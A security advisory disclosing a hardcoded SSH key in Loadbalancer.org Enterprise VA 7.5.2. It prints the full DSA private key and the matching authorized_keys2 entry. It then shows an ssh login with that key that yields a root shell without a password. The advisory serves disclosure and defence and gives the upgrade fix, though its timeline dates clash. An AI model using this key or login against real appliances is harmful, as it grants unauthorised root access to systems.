Loadbalancer.org Enterprise VA 7.5.2 – Static SSH Key
----------- Author: ----------- xistence < xistence[at]0x90[.]nl > ------------------------- Affected products: ------------------------- Loadbalancer.org Enterprise VA 7.5.2 and below ------------------------- Affected vendors: ------------------------- Loadbalancer.org http://www.loadbalancer.org/ ------------------------- Product description: ------------------------- The Loadbalancer.org Virtual Appliance is a revolution in software load balancing. The software is simple to install on Windows, Mac & Linux and does not have any adverse effects on the host operating system. ---------- Details: ---------- [ 0x01 - SSH Private Key ] Loadbalancer.org Enterprise VA 7.5.2 contains a default SSH private key: [root@lbmaster .ssh]# cat id_dsa -----BEGIN DSA PRIVATE KEY----- MIIBugIBAAKBgQCsCgcOw+DgNR/7g+IbXYdOEwSB3W0o3l1Ep1ibHHvAtLb6AdNW Gq47/UxY/rX3g2FVrVCtQwNSZMqkrqALQwDScxeCOiLMndCj61t3RxU3IOl5c/Hd yhGh6JGPdzTpgf8VhJIZnvG+0NFNomYntqYFm0y11dBQPpYbJE7Tx1t/lQIVANHJ rJSVVkpcTB4XdtR7TfO317xVAoGABDytZN2OhKwGyJfenZ1Ap2Y7lkO8V8tOtqX+ t0LkViOi2ErHJt39aRJJ1lDRa/3q0NNqZH4tnj/bh5dUyNapflJiV94N3637LCzW cFlwFtJvD22Nx2UrPn+YXrzN7mt9qZyg5m0NlqbyjcsnCh4vNYUiNeMTHHW5SaJY TeYmPP8CgYAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1 MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl 2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkAIUCsG3dIJH SzmJVCWFyVuuANR2Bnc= -----END DSA PRIVATE KEY----- And a authorized_keys2: [root@lbmaster .ssh]# cat authorized_keys2 ssh-dss AAAAB3NzaC1kc3MAAACBAKwKBw7D4OA1H/uD4htdh04TBIHdbSjeXUSnWJsce8C0tvoB01Yarjv9TFj+tfeDYVWtUK1DA1JkyqSuoAtDANJzF4I6Isyd0KPrW3dHFTcg6Xlz8d3KEaHokY93NOmB/xWEkhme8b7Q0U2iZie2pgWbTLXV0FA+lhskTtPHW3+VAAAAFQDRyayUlVZKXEweF3bUe03zt9e8VQAAAIAEPK1k3Y6ErAbIl96dnUCnZjuWQ7xXy062pf63QuRWI6LYSscm3f1pEknWUNFr/erQ02pkfi2eP9uHl1TI1ql+UmJX3g3frfssLNZwWXAW0m8PbY3HZSs+f5hevM3ua32pnKDmbQ2WpvKNyycKHi81hSI14xMcdblJolhN5iY8/wAAAIAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkA== root@lbslave The manual says the following: --- Appliance Security Lockdown Script To ensure that the appliance is secure it's recommended that a number of steps should be carried out. These steps have been incorporated into a lockdown script which can be run at the console (recommended) or via a terminal session. The script helps to lock down the following: - the password for the 'loadbalancer' Web User Interface account - the password for the Linux 'root' account - which subnet / host is permitted access to the load balancer It also regenerates the SSH keys that are used to secure communicating between the master and slave appliance. To start the script, at the console or via an SSH terminal session run the following command: lbsecure --- However, the lbsecure script will regenerate the id_dsa/id_dsa.pub, but the authorized_keys2 will remain untouched. This makes it still possible to login using the key, without any password! Create a file "lb" containing the key: $ cat lb -----BEGIN DSA PRIVATE KEY----- MIIBugIBAAKBgQCsCgcOw+DgNR/7g+IbXYdOEwSB3W0o3l1Ep1ibHHvAtLb6AdNW Gq47/UxY/rX3g2FVrVCtQwNSZMqkrqALQwDScxeCOiLMndCj61t3RxU3IOl5c/Hd yhGh6JGPdzTpgf8VhJIZnvG+0NFNomYntqYFm0y11dBQPpYbJE7Tx1t/lQIVANHJ rJSVVkpcTB4XdtR7TfO317xVAoGABDytZN2OhKwGyJfenZ1Ap2Y7lkO8V8tOtqX+ t0LkViOi2ErHJt39aRJJ1lDRa/3q0NNqZH4tnj/bh5dUyNapflJiV94N3637LCzW cFlwFtJvD22Nx2UrPn+YXrzN7mt9qZyg5m0NlqbyjcsnCh4vNYUiNeMTHHW5SaJY TeYmPP8CgYAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1 MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl 2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkAIUCsG3dIJH SzmJVCWFyVuuANR2Bnc= -----END DSA PRIVATE KEY----- SSH to the Loadbalancer.org VM using this key: $ ssh -i lb root@192.168.2.21 Last login: Wed Jan 29 09:12:10 2014 from 192.168.2.72 -bash: warning: setlocale: LC_CTYPE: cannot change locale (UTF-8) [root@lbmaster ~]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) [root@lbmaster ~]# ----------- Solution: ----------- Upgrade to version 7.5.3 or newer -------------- Timeline: -------------- 30-01-2014 - Issues discovered and vendor notified 15-01-2014 - Vendor replies, also made patch available. 17-03-2014 - Public disclosure |